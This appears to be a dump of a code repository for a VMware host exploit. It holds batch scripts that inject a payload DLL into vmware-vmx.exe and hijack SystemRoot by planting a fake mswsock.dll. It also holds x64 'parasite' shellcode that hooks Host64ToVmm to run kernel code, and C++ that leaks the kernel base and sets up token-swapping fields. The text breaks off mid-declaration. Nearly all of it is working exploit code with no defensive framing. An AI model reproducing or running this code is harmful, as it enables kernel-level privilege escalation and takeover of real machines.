    "content": "@echo off\r\n\r\necho user\r\nwhoami\r\n\r\necho kill all vmware-vmx.exe\r\nsimple_injection.exe vmware-vmx.exe\r\n\r\necho remove lock files\r\ncd dummie_vm\r\nfor /d %%G in (\"%~dp0dummie_vm\\*lck\") do rd /s /q \"%%~G\"\r\ncd ..\r\n\r\necho start vm - continue after vm machine is running, vmware-vmx.exe\r\n:vmrun.exe start \"%~dp0dummie_vm\\dummie_vm.vmx\"\r\nstart cmd /c \"start %~dp0dummie_vm\\dummie_vm.vmx && EXIT\"\r\n\r\n: wait for 15 seconds\r\nping 127.0.0.1 -n 15 > nul\r\nPAUSE\r\n\r\necho try simple injection\r\nsimple_injection.exe vmware-vmx.exe \"%~dp0dll_payload.dll\" dummie_vm\r\nIF %ERRORLEVEL% EQU 0 (\r\n\r\necho injection failed, trying dll hack\r\n\r\necho kill all vmware.exe, vmplayer.exe, vmware-vmx.exe\r\n\r\nstart simple_injection.exe vmware.exe\r\nstart simple_injection.exe vmplayer.exe\r\nsimple_injection.exe vmware-vmx.exe\r\n\r\necho create local systemroot\r\nmkdir \"%~dp0wnd\"\r\nmkdir \"%~dp0wnd\\System32\"\r\n\r\necho copy some systemroot files in case of __fix_systemroot.cmd fail account wont get brick\r\n\r\ncopy %SystemRoot%\\System32\\*.dll \"%~dp0wnd\\System32\\\" > NUL\r\ncopy %SystemRoot%\\System32\\*.exe \"%~dp0wnd\\System32\\\" > NUL\r\ncopy %SystemRoot%\\*.exe \"%~dp0wnd\\\" > NUL\r\ncopy %SystemRoot%\\*.dll \"%~dp0wnd\\\" > NUL\r\ndel \\F \\Q \"%~dp0wnd\\System32\\mswsock.dll\"\r\ncopy dll_payload.dll \"%~dp0wnd\\System32\\mswsock.dll\"\r\n\r\necho setx SystemRoot to local\r\nsetx SystemRoot %~dp0wnd\r\n\r\necho start systemroot fixer\r\nstart __fix_systemroot.cmd\r\n\r\necho starting vm - continue after vm machine is running, vmware-vmx.exe\r\n\r\n:vmrun.exe start \"%~dp0dummie_vm\\dummie_vm.vmx\"\r\nstart cmd /c \"start %~dp0dummie_vm\\dummie_vm.vmx && EXIT\"\r\n\r\nping 127.0.0.1 -n 10 > nul\r\nPAUSE\r\n\r\n) ELSE (\r\necho please rest dummie_vm\r\n:start vmrun.exe reset \"%~dp0dummie_vm\\dummie_vm.vmx\"\r\nPAUSE\r\n\r\necho wait 3 seconds\r\nping 127.0.0.1 -n 3 > nul\r\necho killing vmware.exe\r\necho killing vmplayer.exe\r\necho killing vmware-vmx.exe\r\nping 127.0.0.1 -n 0 > nul\r\nstart simple_injection.exe vmware.exe\r\nstart simple_injection.exe vmplayer.exe\r\nsimple_injection.exe vmware-vmx.exe\r\n)\r\n\r\n\r\necho user\r\nwhoami\r\n\r\nPAUSE"
  },
  {
    "path": "cmd/__fix_systemroot.cmd",
    "content": "@echo off\r\n\r\necho wait 30 seconds before fixing SystemRoot \r\nping 127.0.0.1 -n 30 > nul\r\nREG delete HKCU\\Environment /V SystemRoot /f\r\n\r\necho kill vmware.exe, vmplayer.exe, vmware-vmx.exe, vmrun.exe\r\nstart simple_injection.exe vmware.exe\r\nstart simple_injection.exe vmplayer.exe\r\nstart simple_injection.exe vmware-vmx.exe\r\nstart simple_injection.exe vmrun.exe\r\n\r\nPAUSE"
  },
  {
    "path": "dll_payload/dll_payload/asm64.asm",
    "content": ".data\r\n\r\n.code\r\n\r\nparasite PROC\r\nssbase:\r\ncall overdata\r\ndq 0 ; kernelbase ; 0\r\ndq 0 ; ExAllocatePool ; 1\r\ndq 0 ; MmGetSystemRoutineAddress ; 2\r\ndq 0 ; um_code ; 3\r\ndq 0 ; km_code ; 4\r\ndq 0 ; um_code_size; 5\r\ndq 0 ; um_data; 6\r\ndq 0 ; km_data ; 7\r\ndq 0 ; um_data_size; 8\r\noverdata:\r\npop rax\r\ncall overint\r\nnop\r\ncall ov1\r\ndq 0\r\nov1:\r\npop rax\r\n\r\npush rax\r\n\r\npush rcx\r\n;int 3\r\n\r\ncall delta\r\ndelta:\t\r\npop\trcx\r\n\r\nmov rax, offset delta\r\nsub\trcx, rax\r\nmov rax, offset ssbase+5\r\nadd rcx, rax\r\n\r\nmov rax, [rcx]\r\nadd [rcx+8], rax\r\nadd [rcx+16], rax\r\n\r\npush r8\r\npush r9\r\npush rbx\r\n\r\npush rdx\r\npush r13\r\npush r12\r\npush r11\r\npush r10\r\npushfq\r\n\r\n; allocate and copy code\r\npush rcx\r\nsub rsp,030h\r\n\r\nmov r12, [rcx+8]\r\nmov rdx, [rcx+8*5] ;\r\nsub rcx, rcx\r\ncall r12\r\n\r\nadd rsp,030h\r\npop rcx\r\n;\r\npush rcx\r\nmov [rcx+8*4], rax\r\nmov rsi, [rcx+8*3]\r\nmov rdi, rax\r\nmov rcx, [rcx+8*5] ;\r\nrep movsb\r\npop rcx\r\n\r\n; allocate and copy data\r\npush rcx\r\nsub rsp,030h\r\n\r\nmov r12, [rcx+8]\r\nmov rdx, [rcx+8*8] ;\r\nsub rcx, rcx\r\ncall r12\r\n\r\nadd rsp,030h\r\npop rcx\r\n\r\n\r\npush rcx\r\nmov [rcx+8*7], rax\r\nmov rsi, [rcx+8*6]\r\nmov rdi, rax\r\nmov rcx, [rcx+8*8] ;\r\nrep movsb\r\npop rcx\r\n\r\nmov rax, [rcx+8*4]\r\nmov rcx, [rcx+8*7]\r\nmov rdx, rcx\r\n\r\nsub rsp,030h\r\ncall rax\r\nadd rsp,030h\r\n\r\npopfq\r\npop r10\r\npop r11\r\npop r12\r\npop r13\r\npop rdx\r\npop rbx\r\npop r9\r\npop r8\r\n\r\npop rcx ; restore original\r\n\r\npop rax\r\n\r\njmp qword ptr[rax]\r\n\r\noverint:\r\npop rax\r\ncmp qword ptr [rax+5+1],0\r\njnz once_c\r\n\r\npush qword ptr [rsp+666h] ; this 666 is fixed when overwriting Host64ToVmm\r\npop qword ptr [rax+5+1]\r\nmov [rsp+666h], rax ; this 666 is fixed when overwriting Host64ToVmm\r\n\r\nonce_c:\r\nret\r\n\r\nparasite ENDP\r\n\r\n\r\nparasite_end PROC\r\nret\r\nparasite_end ENDP\r\n\r\n\r\nEND\r\n"
  },
  {
    "path": "dll_payload/dll_payload/dll_payload.cpp",
    "content": "// dll_payload.cpp : Defines the exported functions for the DLL application.\r\n//\r\n\r\n#include \"stdafx.h\"\r\n\r\n"
  },
  {
    "path": "dll_payload/dll_payload/dll_payload.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup Label=\"ProjectConfigurations\">\r\n    <ProjectConfiguration Include=\"Debug|Win32\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|Win32\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Debug|x64\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|x64\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n  </ItemGroup>\r\n  <PropertyGroup Label=\"Globals\">\r\n    <ProjectGuid>{C430A90E-331B-46B0-83DE-6697BF409895}</ProjectGuid>\r\n    <Keyword>Win32Proj</Keyword>\r\n    <RootNamespace>dll_payload</RootNamespace>\r\n    <WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v140</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v140</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v140</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v140</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\r\n  <ImportGroup Label=\"ExtensionSettings\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"Shared\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <PropertyGroup Label=\"UserMacros\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <LinkIncremental>false</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <LinkIncremental>false</LinkIncremental>\r\n  </PropertyGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>Disabled</Optimization>\r\n      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;DLL_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Windows</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>Disabled</Optimization>\r\n      <PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;DLL_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Windows</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <Optimization>MaxSpeed</Optimization>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;DLL_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Windows</SubSystem>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <Optimization>MaxSpeed</Optimization>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;DLL_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\r\n      <BufferSecurityCheck>true</BufferSecurityCheck>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Windows</SubSystem>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemGroup>\r\n    <Text Include=\"ReadMe.txt\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"stdafx.h\" />\r\n    <ClInclude Include=\"targetver.h\" />\r\n    <ClInclude Include=\"uhde.h\" />\r\n    <ClInclude Include=\"hook.h\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"dllmain.cpp\">\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n      </PrecompiledHeader>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n      </PrecompiledHeader>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n      </PrecompiledHeader>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n      </PrecompiledHeader>\r\n      <BufferSecurityCheck Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</BufferSecurityCheck>\r\n      <Optimization Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">Disabled</Optimization>\r\n      <InlineFunctionExpansion Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">Disabled</InlineFunctionExpansion>\r\n    </ClCompile>\r\n    <ClCompile Include=\"dll_payload.cpp\" />\r\n    <ClCompile Include=\"hde\\hde64.cpp\">\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">NotUsing</PrecompiledHeader>\r\n    </ClCompile>\r\n    <ClCompile Include=\"stdafx.cpp\">\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">Create</PrecompiledHeader>\r\n    </ClCompile>\r\n    <ClCompile Include=\"uhde.cpp\" />\r\n    <ClCompile Include=\"hook.cpp\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <CustomBuild Include=\"asm64.asm\">\r\n      <FileType>Document</FileType>\r\n      <Command Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">ml64 /Zi /c /Fo$(outdir)\\asm64.obj asm64.asm</Command>\r\n      <Outputs Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">$(outdir)\\asm64.obj</Outputs>\r\n    </CustomBuild>\r\n  </ItemGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\r\n  <ImportGroup Label=\"ExtensionTargets\">\r\n  </ImportGroup>\r\n</Project>"
  },
  {
    "path": "dll_payload/dll_payload/dll_payload.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup>\r\n    <Filter Include=\"Source Files\">\r\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\r\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Header Files\">\r\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\r\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Resource Files\">\r\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\r\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Source Files\\x64\">\r\n      <UniqueIdentifier>{7afc6a96-8aee-4944-af89-9f464bd28856}</UniqueIdentifier>\r\n    </Filter>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Text Include=\"ReadMe.txt\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"stdafx.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"targetver.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"uhde.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"hook.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"stdafx.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"dll_payload.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"dllmain.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"uhde.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"hook.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"hde\\hde64.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <CustomBuild Include=\"asm64.asm\">\r\n      <Filter>Source Files</Filter>\r\n    </CustomBuild>\r\n  </ItemGroup>\r\n</Project>"
  },
  {
    "path": "dll_payload/dll_payload/dllmain.cpp",
    "content": "// dllmain.cpp : Defines the entry point for the DLL application.\r\n#include \"stdafx.h\"\r\n#include <stdlib.h>\r\n#include <stdio.h>\r\n#include <stdint.h>\r\n#include <algorithm>\r\n#include <string>\r\n\r\n#include <Windows.h>\r\n#include <winternl.h>\r\n#include <tlhelp32.h>\r\n\r\n#include \"uhde.h\"\r\n#include \"hook.h\"\r\n\r\n\r\n\r\nextern \"C\" void parasite(void);\r\nextern \"C\" void parasite_end(void);\r\n\r\nULONG rsp_hack_adj;\r\nULONG parasite_adj_addr1;\r\nULONG parasite_adj_addr2;\r\n\r\nhook classVM_LOADER;\r\n\r\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION\r\n{\r\n\tHANDLE Section;\r\n\tPVOID MappedBase;\r\n\tPVOID ImageBase;\r\n\tULONG ImageSize;\r\n\tULONG Flags;\r\n\tUSHORT LoadOrderIndex;\r\n\tUSHORT InitOrderIndex;\r\n\tUSHORT LoadCount;\r\n\tUSHORT OffsetToFileName;\r\n\tUCHAR FullPathName[256];\r\n} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;\r\n\r\ntypedef struct _RTL_PROCESS_MODULES\r\n{\r\n\tULONG NumberOfModules;\r\n\tRTL_PROCESS_MODULE_INFORMATION Modules[1];\r\n} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;\r\n\r\n#define PEPROCESS PVOID\r\n\r\nBOOL FileExists(LPCTSTR szPath)\r\n{\r\n\tDWORD dwAttrib = ::GetFileAttributes(szPath);\r\n\treturn (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));\r\n}\r\n\r\ntypedef void (WINAPI * RtlGetVersion_FUNC) (OSVERSIONINFOEXW *);\r\n\r\nBOOL MGetVersion(OSVERSIONINFOEX * os)\r\n{\r\n\tHMODULE hMod;\r\n\tRtlGetVersion_FUNC func;\r\n\tOSVERSIONINFOEXW o;\r\n\tOSVERSIONINFOEXW *osw = &o;\r\n\r\n\thMod = ::LoadLibrary(TEXT(\"ntdll.dll\"));\r\n\tif (hMod) \r\n\t{\r\n\t\tfunc = (RtlGetVersion_FUNC)::GetProcAddress(hMod, \"RtlGetVersion\");\r\n\t\tif (func == 0) \r\n\t\t{\r\n\t\t\t::FreeLibrary(hMod);\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\t\tZeroMemory(osw, sizeof(*osw));\r\n\t\tosw->dwOSVersionInfoSize = sizeof(*osw);\r\n\t\tfunc(osw);\r\n\r\n\t\tos->dwBuildNumber = osw->dwBuildNumber;\r\n\t\tos->dwMajorVersion = osw->dwMajorVersion;\r\n\t\tos->dwMinorVersion = osw->dwMinorVersion;\r\n\t\tos->dwPlatformId = osw->dwPlatformId;\r\n\t}\r\n\telse\r\n\t\treturn FALSE;\r\n\r\n\t::FreeLibrary(hMod);\r\n\r\n\treturn TRUE;\r\n}\r\n\r\n\r\nHANDLE get_pid_by_process_name(wchar_t *proc_name)\r\n{\r\n\tHANDLE hProcessSnap;\r\n\tPROCESSENTRY32 pe32;\r\n\r\n\thProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tif (hProcessSnap != INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tpe32.dwSize = sizeof(PROCESSENTRY32);\r\n\t\tif (::Process32First(hProcessSnap, &pe32))\r\n\t\t{\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tif (!wcscmp(pe32.szExeFile, proc_name))\r\n\t\t\t\t\t\treturn (HANDLE)(UINT_PTR)pe32.th32ProcessID;\r\n\t\t\t} while (::Process32Next(hProcessSnap, &pe32));\r\n\t\t}\r\n\t\t//else\r\n\t\t//\tprintf(\"Process32First failed\\r\\n\");\r\n\r\n\t}\r\n\t//else\r\n\t//\tprintf(\"CreateToolhelp32Snapshot failed\\r\\n\");\r\n\r\n\treturn 0;\r\n}\r\n\r\n\r\nPVOID get_napi_va(uint8_t* map_base, uint64_t img_base, char *api_name)\r\n{\r\n\tPVOID result = 0;\r\n\r\n\tIMAGE_DOS_HEADER* dhdr = (IMAGE_DOS_HEADER*)map_base;\r\n\tIMAGE_NT_HEADERS64* nthdr = (IMAGE_NT_HEADERS64*)(map_base + dhdr->e_lfanew);\r\n\tif (nthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)\r\n\t{\r\n\t\tIMAGE_EXPORT_DIRECTORY* exports = (IMAGE_EXPORT_DIRECTORY*)(map_base + nthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\r\n\t\tuint32_t* AddressOfFunctions = (uint32_t*)(map_base + exports->AddressOfFunctions);\r\n\t\tuint32_t* AddressOfNames = (uint32_t*)(map_base + exports->AddressOfNames);\r\n\t\tuint16_t* AddressOfNameOrdinals = (uint16_t*)(map_base + exports->AddressOfNameOrdinals);\r\n\r\n\t\tfor (DWORD i = 0; i < exports->NumberOfNames; i++)\r\n\t\t{\r\n\t\t\tif (!strcmp(api_name, ((char*)map_base + AddressOfNames[i])))\r\n\t\t\t{\r\n\t\t\t\tresult = (PVOID)(img_base + AddressOfFunctions[AddressOfNameOrdinals[i]]);\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t}\r\n\treturn result;\r\n}\r\n\r\ntypedef NTSTATUS(WINAPI *TNtQuerySystemInformation)(ULONG_PTR SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);\r\nTNtQuerySystemInformation _NtQuerySystemInformation;\r\n\r\n#define SystemModuleInformation 11\r\n\r\nPVOID leak_kernelbase()\r\n{\r\n\tULONG len = 0;\r\n\tPVOID result = 0;\r\n\r\n\t_NtQuerySystemInformation = (TNtQuerySystemInformation)::GetProcAddress(::GetModuleHandleA(\"ntdll.dll\"), \"NtQuerySystemInformation\");\r\n\tif (!_NtQuerySystemInformation)\r\n\t\treturn 0;\r\n\r\n\t_NtQuerySystemInformation(SystemModuleInformation, nullptr, 0, &len);\r\n\tRTL_PROCESS_MODULES *modules = (RTL_PROCESS_MODULES*)std::malloc(len * 2);\r\n\tif (modules)\r\n\t{\r\n\t\tif (_NtQuerySystemInformation(SystemModuleInformation, modules, len * 2, &len) >= 0)\r\n\t\t{\r\n\t\t\tfor (ULONG i = 0; i < modules->NumberOfModules; i++)\r\n\t\t\t{\r\n\t\t\t\tstd::string moduleName((PCHAR)modules->Modules[i].FullPathName + modules->Modules[i].OffsetToFileName);\r\n\t\t\t\tstd::transform(moduleName.begin(), moduleName.end(), moduleName.begin(), ::tolower);\r\n\r\n\t\t\t\tif (moduleName.find(\"ntoskrnl.exe\") != std::string::npos)\r\n\t\t\t\t{\r\n\t\t\t\t\tresult = (PVOID)modules->Modules->ImageBase;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\t\t\t}\r\n\t\t}\r\n\t\tstd::free(modules);\r\n\t}\r\n\treturn result;\r\n}\r\n\r\n\r\n// kernel payload stuff\r\n\r\ntypedef ULONG(NTAPI *TDbgPrint)(_In_ PCHAR Format, ...);\r\ntypedef PVOID(NTAPI *TMmGetSystemRoutineAddress)(_In_ PUNICODE_STRING SystemRoutineName);\r\ntypedef VOID(WINAPI *TRtlInitUnicodeString)(_Inout_ PUNICODE_STRING DestinationString, _In_opt_ PCWSTR SourceString);\r\ntypedef NTSTATUS(WINAPI *TPsLookupProcessByProcessId)(_In_  HANDLE    ProcessId, _Out_ PEPROCESS *Process);\r\ntypedef VOID(WINAPI *TObDereferenceObject)(_In_ PVOID Object);\r\n\r\n\r\nclass krn_pld\r\n{\r\npublic:\r\n\tunsigned char magic_val;\r\n\tvoid km_payload_code(krn_pld *);\r\n\tvoid setup_strings(krn_pld *);\r\n\tTDbgPrint _DbgPrint;\r\n\tTPsLookupProcessByProcessId _PsLookupProcessByProcessId;\r\n\tTObDereferenceObject _ObDereferenceObject;\r\n\r\n\tTMmGetSystemRoutineAddress _MmGetSystemRoutineAddress; // initialized 1\r\n\tTRtlInitUnicodeString _RtlInitUnicodeString; // initialized 2\r\n\t\r\n\tDWORD token_offset;\r\n\tHANDLE target_pid;\r\n\tHANDLE source_pid;\r\n\t\r\n\tchar msgstr[64];\r\n\tWCHAR s_DbgPrint[64];\r\n\tWCHAR 